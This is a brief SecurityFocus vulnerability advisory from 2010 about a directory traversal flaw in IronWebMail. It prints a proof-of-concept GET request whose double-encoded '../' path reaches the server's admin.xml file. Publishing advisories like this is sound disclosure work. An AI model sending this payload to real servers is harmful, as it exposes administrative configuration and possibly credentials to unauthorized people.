IronWebMail Directory Traversal Information Disclosure Vulnerability

Attackers use a standard web browser to exploit this issue.

The following proof-of-concept GET request data demonstrates this issue:

GET /IM_FILE(%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/admin.xml) HTTP/1.0[CRLF][CRLF]


 

Privacy Statement
Copyright 2010, SecurityFocus